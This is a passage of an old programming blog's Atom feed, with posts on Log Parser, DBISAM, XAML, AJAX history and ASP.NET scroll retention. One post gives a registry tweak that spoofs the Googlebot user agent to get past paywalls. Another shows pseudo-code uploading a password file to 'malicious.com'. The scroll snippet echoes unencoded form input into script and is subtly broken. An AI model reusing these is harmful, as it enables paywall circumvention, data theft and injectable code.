&amp;nbsp;Other errors in this sample include an ASP coding error ("Variable_is_undefined") and an Indexing Services error ("The_query_contained_only_ignored_words"). &amp;nbsp;Fixing these errors could lead to significant enhancement of the user's experience of the website. &lt;p align="left"&gt;&lt;a href="http://aspalliance.com/991_Detecting_ASP_Website_Errors_Using_Microsoft_Log_Parser" target="_blank" rel="configuring microsoft log parser to look for 500 server errors"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116011874578086233?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116011874578086233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116011874578086233' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116011874578086233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116011874578086233'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/configuring-microsoft-log-parser-to.html' title='Configuring Microsoft Log Parser to look for 500 server errors'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116011816320435574</id><published>2006-10-06T12:32:00.000+05:30</published><updated>2006-10-06T12:32:43.210+05:30</updated><title type='text'>Working with DBISAM an embedded database engine using Microsoft .NET</title><content type='html'>&lt;p align="left"&gt;DBISAM is a word that may seem new for many of us and many would be astonished to know that it is a database. &amp;nbsp;Like any other database, it has the ability to maintain huge amounts of data.&amp;nbsp; This article aims at providing an overview of DBISAM and the ways we can interact with the database through .NET. &lt;a href="http://www.elevatesoft.com/"&gt;DBISAM&lt;/a&gt; is an embedded database engine which is available for programming languages that can use ODBC for data access. &amp;nbsp;DBISAM can be used as a single-user, multi-user or client-server engine.&lt;/p&gt; &lt;h4 align="left"&gt;General Architecture&lt;/h4&gt; &lt;p align="left"&gt;DBISAM is session based where each session is equivalent to a virtual user.&amp;nbsp; In a given application there can be many active sessions. &amp;nbsp;The sessions are of 2 types. &lt;p align="left"&gt;· Local Session: A local session can directly access the database tables via Windows or Linux APIs to the local storage medium. &lt;p align="left"&gt;· Remote Session: A remote session uses sockets to communicate to a database server over a network using TCP/IP protocol. &lt;p align="left"&gt;The main drawback of DBISAM is that it does not support Referential Integrity. &lt;p align="left"&gt;&lt;strong&gt;Databases&lt;/strong&gt; &lt;p align="left"&gt;DBISAM uses the physical directories in Operating System’s file system to represent databases. The tables in DBISAM are represented by three physical files in the database. &lt;p align="left"&gt;· .dat (Data Files) which are the actual tables in the Database that store records. &lt;p align="left"&gt;· .idx (Index Files) which store index definitions and pages. &lt;p align="left"&gt;· .blb (BLOB Files) that store BLOB blocks related to tables. &lt;p align="left"&gt;&lt;a&gt;&lt;strong&gt;Working with DBISAM&lt;/strong&gt;&lt;/a&gt; &lt;p align="left"&gt;After knowing a bit about database structure, let us put our hands on the programming part with relation to .NET. &amp;nbsp;As every database has accepted SQL as the standard language for querying, so too has DBISAM. &amp;nbsp;We do not need to worry about syntax; our same old concept on SQL will work fine here. &amp;nbsp;Now to connect to the DBISAM Database from our application, we need the DBISAM ODBC driver. &amp;nbsp;It is an ODBC level 3 driver. &amp;nbsp;The driver works with Microsoft Data Access Components (MDAC) version 2.7 or higher and many other applications including .NET Applications. &lt;p align="left"&gt;&lt;strong&gt;Missing Features&lt;/strong&gt; &lt;p align="left"&gt;There are still a few things missing from the driver like support for bulk operations and a few ODBC extended scalar functions (UNION, INTERSECT, LIKE, etc). &lt;p align="left"&gt;&lt;strong&gt;Using ODBC Driver&lt;/strong&gt; &lt;p align="left"&gt;To use the ODBC Driver we can either setup a DSN which we access from our application or can directly access the database through a connection string from our application. &lt;p align="left"&gt;Depending on our application need and location of the database (local or remote), the connections may vary. &amp;nbsp;It can be either done through a DSN or we can use a connection string to connect to the database. &lt;p align="left"&gt;&lt;strong&gt;Connection String&lt;/strong&gt; &lt;p align="left"&gt;For direct connection strings the Keywords play a major role and are case sensitive. &amp;nbsp;The Connection String Keywords available in DBISAM ODBC Driver are as follows: &lt;p align="left"&gt;· DRIVER: It specifies the ODBC driver name used. &lt;p align="left"&gt;· ConnectionType: Depends on the connection, i.e. Local or Remote. &lt;p align="left"&gt;· CatalogName: Specifies the name of the database. &lt;p align="left"&gt;These were the required Keywords for both Local and Remote Connections. &amp;nbsp;The following keywords are required only for Remote connections. &lt;p align="left"&gt;· UID: Specifies the User ID for the remote connection. &lt;p align="left"&gt;· PWD: Specifies the password for the remote connection. &lt;p align="left"&gt;· RemoteHostName: Specifies the Host name of the remote Database server. &lt;p align="left"&gt;· RemoteIPAddress: Specifies the IP address of the remote Database Server. &lt;p align="left"&gt;From the RemoteHostName or RemoteIPAddress above, any one is used. &lt;p align="left"&gt;&lt;a href="http://aspalliance.com/1015_Working_with_DBISAM_Using_Microsoft_NET" target="_blank" rel="dbisam odbc driver working with dbisam using microsoft .net"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116011816320435574?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116011816320435574/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116011816320435574' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116011816320435574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116011816320435574'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/working-with-dbisam-embedded-database.html' title='Working with DBISAM an embedded database engine using Microsoft .NET'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116011749192524174</id><published>2006-10-06T12:21:00.000+05:30</published><updated>2006-10-06T12:21:32.076+05:30</updated><title type='text'>XAML - Microsoft's new markup language</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;EXtensible Application Markup Language (XAML) which is pronounced as Zamel is Microsoft's new markup language to define dynamic or static user interfaces for .NET applications.&amp;nbsp; XAML will be used in Windows Vista to design user interfaces, but can be applied to Windows XP or Windows 2003 as well. XAML comes to separate the UI code from application logic code and is very similar to MVC.&amp;nbsp; XAML is tied to Windows Presentation foundation (codenamed Avalon) to build a whole user interface in .NET 3.0 and Windows Vista. &lt;p align="left"&gt;XAML is an XML child indeed.&amp;nbsp; Every XAML code must be a well-formed XML file and XAML inherits all XML definitions and rules.&amp;nbsp; We can consider it as the last part of a chain that contains HTML, XHTML and other markup languages for UI. &lt;p align="left"&gt;What makes XAML different from other XML children is what it represents.&amp;nbsp; Every XAML element represents a .NET CLR class.&amp;nbsp; This lets you to extend and work on XAML easily. The model that XAML in conjunction with Windows Presentation Foundation provides to let developers design a rich user interface is similar to code behind and code inline model in ASP.NET. This means you can put your application logic in a separate file or embed it inline in XAML file itself. XAML files will be compiled to BAML files.&amp;nbsp; The advantage of BAML is it is smaller than XAML and is easier to read so it is faster to load. &lt;h4 align="left"&gt;&lt;a&gt;Advantages of XAML&lt;/a&gt;&lt;/h4&gt; &lt;p align="left"&gt;In addition to all benefits that XML or actually a markup language provides, XAML has some major and minor advantages; some of them are here: &lt;p align="left"&gt;· Designing a user interface is easier with XAML. &lt;p align="left"&gt;· Code for XAML is shorter than code for previous UI designing techniques and you will see it in action. &lt;p align="left"&gt;· XAML designed user interfaces are easier to transfer and present in other environments. &amp;nbsp;For example, you can present your UI on the web or a Windows Client easily. &lt;p align="left"&gt;· Designing a dynamic UI is absolutely easier with XAML. &lt;p align="left"&gt;· XAML enables a new world for UI designers and lets all designers build user interfaces without having any knowledge about .NET development.&amp;nbsp; This helps end users to see better user interfaces in the near future. &lt;h4 align="left"&gt;&lt;a&gt;XAML Development Tools&lt;/a&gt;&lt;/h4&gt; &lt;p align="left"&gt;To start developing for XAML and Windows Presentation Foundation, you need to have some tools in hand.&amp;nbsp; Do not forget that this article is written some weeks after the release date of .NET Framework 3.0 RC1.&amp;nbsp; You can start developing XAML and WPF on Windows Vista, Windows XP or Windows 2003. &lt;p align="left"&gt;You need to download &lt;a href="http://msdn.microsoft.com/winfx/downloads/"&gt;WinFX SDK&lt;/a&gt; and &lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=45f9be99-3264-4bf1-8879-78a7a95d9217&amp;amp;displaylang=en"&gt;Visual Studio 2005 Extensions for WinFX&lt;/a&gt;.&amp;nbsp; Although by installing WinFX SDK you have a cool tool to develop for XAML, Visual Studio Extensions can enable a visual designer and Intellisense, and great debugging features.&amp;nbsp; I recommend downloading VS 2005 Extensions for WinFX if you have it installed on your system. &lt;p align="left"&gt;Of you do not have it, do not worry because WinFX SDK comes with an editor for XAML which is named XAMLPad.&amp;nbsp; This editor lets you to type and edit XAML markup then it generates the UI for you.&amp;nbsp; It also has some debugging features. &lt;p align="left"&gt;There are some other tools available by Microsoft or community for XAML development: &lt;p align="left"&gt;· &lt;a href="http://www.microsoft.com/products/expression/en/interactive_designer/default.aspx"&gt;Microsoft Expression "Sparkle Interactive Designer"&lt;/a&gt; &lt;p align="left"&gt;· &lt;a href="http://www.myxaml.com/"&gt;MyXaml&lt;/a&gt; &lt;p align="left"&gt;If you are using some tools like XamlPad to write your XAML codes, you can use MSBuild to compile them, but if Visual Studio is your primary IDE for this purpose it builds them on the fly for you. &lt;p align="left"&gt;&lt;a href="http://aspalliance.com/1019_Introduction_to_XAML" target="_blank" rel="about xaml microsoft windows development tools"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116011749192524174?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116011749192524174/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116011749192524174' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116011749192524174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116011749192524174'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/xaml-microsofts-new-markup-language.html' title='XAML - Microsoft&apos;s new markup language'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116007193796141925</id><published>2006-10-05T23:42:00.000+05:30</published><updated>2006-10-05T23:42:18.150+05:30</updated><title type='text'>Get access to paid sites by being a Google spider</title><content type='html'>&lt;blockquote cite="http://www.nsitlounge.in/bb/index.php?showtopic=3819"&gt;Ever experienced this? You ask Google to look something up; the engine returns with a number of finds, but if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first....&lt;br /&gt;&lt;br /&gt;The lesson you should have learned here is: Obviously Google can go where you can't.&lt;br /&gt;&lt;br /&gt;Can we solve this problem? Yes, we can. We merely have to convince the site we want to enter, that WE ARE GOOGLE.&lt;br /&gt;In fact, many sites that force users to register or even pay in order to search and use their content, leave a backdoor open for the Googlebot, because a prominent presence in Google searches is known to generate sales leads, site hits and exposure.&lt;br /&gt;Examples of such sites are Windows Magazine, .Net Magazine, Nature, and many, many newspapers around the globe.&lt;br /&gt;How then, can you disguise yourself as a Googlebot? Quite simple: by changing your browser's User Agent.&lt;br /&gt;Copy the following code segment and paste it into a fresh notepad file. Save it as Useragent.reg and merge it into your registry.&lt;br /&gt;&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Mcft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]&lt;br /&gt;@="Googlebot/2.1"&lt;br /&gt;"Compatible"="+http://www.googlebot.com/bot.html"&lt;br /&gt;&lt;br /&gt;Voila! You're done!&lt;br /&gt;&lt;br /&gt;You may always change it back again.... I know only one site that uses you User Agent to establish your eligability to use its services, and that's the Windows Update site...&lt;br /&gt;To restore the IE6 User Agent, save the following code to NormalAgent.reg and merge with your registry:&lt;br /&gt;&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Mcft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]&lt;br /&gt;@="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"&lt;br /&gt;&lt;br /&gt;Also Check the spell of Mcsft in your registry editor.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116007193796141925?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116007193796141925/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116007193796141925' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116007193796141925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116007193796141925'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/get-access-to-paid-sites-by-being.html' title='Get access to paid sites by being a Google spider'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115925066068148383</id><published>2006-09-26T11:34:00.000+05:30</published><updated>2006-09-26T11:34:20.690+05:30</updated><title type='text'>What Javascript cannot do?</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with. &lt;p align="left"&gt;But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies. &lt;p align="left"&gt;Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them. &lt;p align="left"&gt;So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up. &lt;ol&gt; &lt;li&gt; &lt;div align="left"&gt;JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard &lt;/div&gt; &lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;filesystem.read('/my/password/file');&lt;br /&gt;filesystem.write('horridvirus.exe');&lt;/font&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div align="left"&gt;JavaScript cannot execute any other programs. This would also be unacceptable &lt;/div&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;execute('horridvirus.exe')&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;&lt;div align="left"&gt;JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards: &lt;/div&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;var security_hazard = connection.open('malicious.com');&lt;br /&gt;security_hazard.upload(filesystem.read('/my/password/file'));&lt;br /&gt;security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p align="left"&gt;Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first &lt;a href="http://www.symantec.com/avcenter/venc/data/js.gigger.a@mm.html"&gt;JavaScript virus&lt;/a&gt; I heard of works in such a way.&lt;br /&gt;&lt;p align="left"&gt;So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas.&lt;br /&gt;&lt;p align="left"&gt;&lt;a href="http://www.quirksmode.org/js/intro.html" target="_blank" rel="what javascript cannot do java"&gt;Get more information&lt;/a&gt;&lt;br /&gt;&lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/programming+language"&gt;programming language&lt;/a&gt;, &lt;a href="http://technorati.com/tag/scripting+language"&gt;scripting language&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browser"&gt;browser&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browser+support"&gt;browser support&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115925066068148383?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115925066068148383/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115925066068148383' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115925066068148383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115925066068148383'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/what-javascript-cannot-do.html' title='What Javascript cannot do?'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115924896926797690</id><published>2006-09-26T11:06:00.000+05:30</published><updated>2006-09-26T11:06:09.273+05:30</updated><title type='text'>Ajax Asp.net enabling Back Forward buttons code</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;Nikhil &lt;a href="http://www.nikhilk.net/BackButtonSupport.aspx"&gt;recently posted&lt;/a&gt; a nice blog post that includes a new ASP.NET AJAX-enabled control called "HistoryControl". When added to a page it allows developers to programmatically add logical views into a browser's history list. This enables you to make AJAX enabled sites much more useful, and to follow the standard back/forward navigation paradigm that traditional web apps follow. &lt;p align="left"&gt;For example, the below code could be written by a developer in response to a selection change within a list to to add the previous list selection to the browser's history via Nikhil's "HistoryControl": &lt;p align="left"&gt;Listing 1 &lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;private&amp;nbsp;void&amp;nbsp;ContentList_SelectedIndexChanged(object sender,&amp;nbsp;EventArgs&amp;nbsp;e)&amp;nbsp;{&lt;br /&gt;history.AddEntry(contentList.SelectedIndex.ToString();&lt;br /&gt;}&lt;/font&gt;&amp;nbsp;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;Once you add entries into the history control, the back/forward button will be enabled in the browser. Nikhil's history control then exposes a "Navigate" event which fires when you press the forward or back button in the browser, and this event then exposes the identifier entry provided before when the view was added into the browser history. You can then use this to restore the page to whatever state it should be in to match the previous history item and update the page:&lt;br /&gt;&lt;p align="left"&gt;Listing 2&lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;private&amp;nbsp;void&amp;nbsp;HistoryControl_Navigate(object sender,&amp;nbsp;HistoryEventArgs&amp;nbsp;e)&amp;nbsp;{&lt;br /&gt;int selectedIndex&amp;nbsp;=&amp;nbsp;0;&lt;br /&gt;if (String.IsNullOrEmpty(e.Identifier)&amp;nbsp;==&amp;nbsp;false)&amp;nbsp;{&lt;br /&gt;selectedIndex&amp;nbsp;=&amp;nbsp;Int32.Parse(e.Identifier);&lt;br /&gt;}&lt;br /&gt;// Update&amp;nbsp;the&amp;nbsp;content&amp;nbsp;being&amp;nbsp;displayed&amp;nbsp;in&amp;nbsp;the&amp;nbsp;page&lt;br /&gt;contentList.SelectedIndex&amp;nbsp;=&amp;nbsp;selectedIndex;&lt;br /&gt;// Mark&amp;nbsp;the&amp;nbsp;update&amp;nbsp;panels&amp;nbsp;as&amp;nbsp;needing&amp;nbsp;an&amp;nbsp;update&lt;br /&gt;mainUpdatePanel.Update();&lt;br /&gt;}&lt;/font&gt;&amp;nbsp;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;And now your end-users get forward/back button history navigation working with AJAX. You can &lt;a href="http://www.nikhilk.net/BackButtonSupport.aspx"&gt;download the code for Nikhil's history control and start using it here&lt;/a&gt;.&lt;br /&gt;&lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/ajax"&gt;ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/asp.net"&gt;asp.net&lt;/a&gt;, &lt;a href="http://technorati.com/tag/historycontrol"&gt;historycontrol&lt;/a&gt;, &lt;a href="http://technorati.com/tag/navigate"&gt;navigate&lt;/a&gt;, &lt;a href="http://technorati.com/tag/back"&gt;back&lt;/a&gt;, &lt;a href="http://technorati.com/tag/forward"&gt;forward&lt;/a&gt;, &lt;a href="http://technorati.com/tag/web+applications"&gt;web applications&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115924896926797690?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115924896926797690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115924896926797690' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115924896926797690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115924896926797690'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/ajax-aspnet-enabling-back-forward.html' title='Ajax Asp.net enabling Back Forward buttons code'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115924846102509490</id><published>2006-09-26T10:57:00.000+05:30</published><updated>2006-09-26T10:57:41.173+05:30</updated><title type='text'>Asp.net retain Scroll Position after postback</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;When any control in an ASP.NET WebForm does a postback to the server, the page scrolls to the top after the postback is completed. Users will find the process of scrolling down to the place where they posted the form cumbersome. &lt;p align="left"&gt;This article explains how to retain a page's scroll position after a postback to the server. &lt;p align="left"&gt;ASP.NET automaticaly creates two HTML hidden fields when a server side form contains controls that performs postback to the server. These fields are given below (they can be seen by viewing the source code of the page): &lt;p align="left"&gt;&lt;font color="#ff8000"&gt;&amp;lt;input type="hidden" name="__EVENTTARGET" value="" /&amp;gt;&lt;br&gt;&amp;lt;input type="hidden" name="__EVENTARGUMENT" value="" /&amp;gt;&lt;/font&gt; &lt;/p&gt; &lt;p align="left"&gt;The __doPostBack() client side &lt;a href="http://www.dotnetjunkies.com/#"&gt;JavaScript&lt;/a&gt; function is automatically generated by ASP.NET to handle the postback event. The value for these hidden fields will be set in the client script handler as shown below: &lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;&amp;lt;script language="javascript"&amp;gt;&lt;br /&gt;&amp;lt;!--&lt;br /&gt;	function __doPostBack(eventTarget, eventArgument) {&lt;br /&gt;		var theform = document.ctrl0;&lt;br /&gt;		theform.__EVENTTARGET.value = eventTarget;&lt;br /&gt;		theform.__EVENTARGUMENT.value = eventArgument;&lt;br /&gt;		theform.submit();&lt;br /&gt;	}&lt;br /&gt;// --&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/font&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;The value of the __EVENTTARGET field will be set to the name of the control which does the postback. This value can be accessed from the server-side by using Request.Form ["__EVENTTARGET"]. &lt;br /&gt;&lt;p align="left"&gt;To enable the page to retain its scroll position, a HTML anchor is created just above the control that does the postback. The name of the anchor should be the same as that of the control.&lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;&amp;lt;a name="#DROPDOWN1"&amp;gt;&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;ASP:DropDownList id=DropDown1 runat="server" AutoPostBack="True"&amp;gt;&lt;br /&gt;	&amp;lt;ASP:Listitem Text="Horizontal"/&amp;gt;&lt;br /&gt;	&amp;lt;ASP:Listitem Text="Vertical"/&amp;gt;&lt;br /&gt;&amp;lt;/ASP:DropDownList/&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;A client-side JavaScript, coded at the end of the page, is executed after the page loads. This causes the page to scroll to the anchor from where the postback occurred.&lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;&amp;lt;script runat="server"&amp;gt;&lt;br /&gt;	location.href="#&amp;lt;%=Request.Form["__EVENTTARGET"]%&amp;gt;";&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/font&gt;&lt;/pre&gt;&lt;pre&gt;&lt;a href="http://www.dotnetjunkies.com/Article/E474B0FC-20D2-48B3-93B5-DC4CB3C4A1AB.dcik" target="_blank" rel="asp.net retain scroll position javascript after postback"&gt;Get more information&lt;/a&gt;&lt;/pre&gt;&lt;pre&gt;Tags: &lt;a href="http://technorati.com/tag/asp.net"&gt;asp.net&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/scroll+position"&gt;scroll position&lt;/a&gt;, &lt;a href="http://technorati.com/tag/postback"&gt;postback&lt;/a&gt;, &lt;a href="http://technorati.com/tag/retain+scroll"&gt;retain scroll&lt;/a&gt;, &lt;a href="http://technorati.com/tag/dopostback"&gt;dopostback&lt;/a&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115924846102509490?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115924846102509490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115924846102509490' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115924846102509490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115924846102509490'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/aspnet-retain-scroll-position-after.html' title='Asp.net retain Scroll Position after postback'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115892810912101786</id><published>2006-09-22T17:58:00.000+05:30</published><updated>2006-09-22T17:58:29.883+05:30</updated><title type='text'>Advantages of Network database model</title><content type='html'>&lt;p align="left"&gt;The network database model extends the hierarchiear model by allowing a record to participate in multiple parent/child relationships. In order to be helpful, a database model must be able to represent data relationships in a database to mirror those we see in the real world. One of the shortcomings of the hierarchical database model was that a child record could have one and only one parent. As a result, if you needed to model a more complex relationship, you had to create redundant tables. For example, suppose you were implementing an order-processing system.&lt;/p&gt; &lt;p align="left"&gt;The main advantages of the hierarchical database are: &lt;ul&gt; &lt;li&gt; &lt;p align="left"&gt;&lt;b&gt;Performance.&lt;/b&gt; Although the network database model is more complex than the hierarchical database model (with several additional pointers in each record), its overall 